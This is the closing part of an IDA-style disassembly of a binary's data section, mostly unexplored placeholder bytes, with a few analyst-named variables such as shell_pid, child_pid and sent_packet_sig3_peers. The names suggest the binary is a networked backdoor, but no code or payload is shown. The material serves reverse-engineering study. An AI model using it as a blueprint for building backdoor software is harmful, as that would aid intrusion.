		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807E750	dd ?			; DATA XREF: sub_8063664+3r
					; sub_8063664+16w ...
dword_807E754	dd ?			; DATA XREF: sub_80649C0+3r
					; sub_80649C0+11w ...
unk_807E758	db ? ; unexplored	; DATA XREF: sub_8065120+42o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
word_807E768	dw ?			; DATA XREF: bindresvport+44r
					; bindresvport+60w ...
		align 4
dword_807E76C	dd ?			; DATA XREF: authnone_create+8r
					; authnone_create+2Cw ...
shell_pid	dd ?			; DATA XREF: real_start+101w
					; real_start+461w ...
child_pid	dd ?			; DATA XREF: real_start+F7w
					; real_start+24Dr ...
before_fork	dd ?			; DATA XREF: real_start+10Bw
					; real_start+25Dr ...
dword_807E77C	dd ?			; DATA XREF: real_start+234r
ouraddr_D	db ?			; DATA XREF: real_start+2CFw
					; sent_packet_sig3_peers+2Co ...
ouraddr_C	db ?			; DATA XREF: real_start+2DBw
ouraddr_B	db ?			; DATA XREF: real_start+2E7w
ouraddr_A	db ?			; DATA XREF: real_start+2F3w
packet_byte2_saved dd ?			; DATA XREF: real_start+2C3w
					; real_start+328r ...
dword_807E788	dd ?			; DATA XREF: sub_804B800+70w
					; sub_804B800+A8w ...
dword_807E78C	dd ?			; DATA XREF: _IO_vfprintf+1E13r
					; _IO_vfprintf+1E24r ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807EB8C	dd ?			; DATA XREF: .text:0805DAEBw
					; sub_80668AC+DBr
dword_807EB90	dd ?			; DATA XREF: .text:0805DAE2w
					; sub_80668AC+EFr
dword_807EB94	dd ?			; DATA XREF: sub_805CE84+32r
					; sub_805CE84+68w ...
_bss		ends


		end start
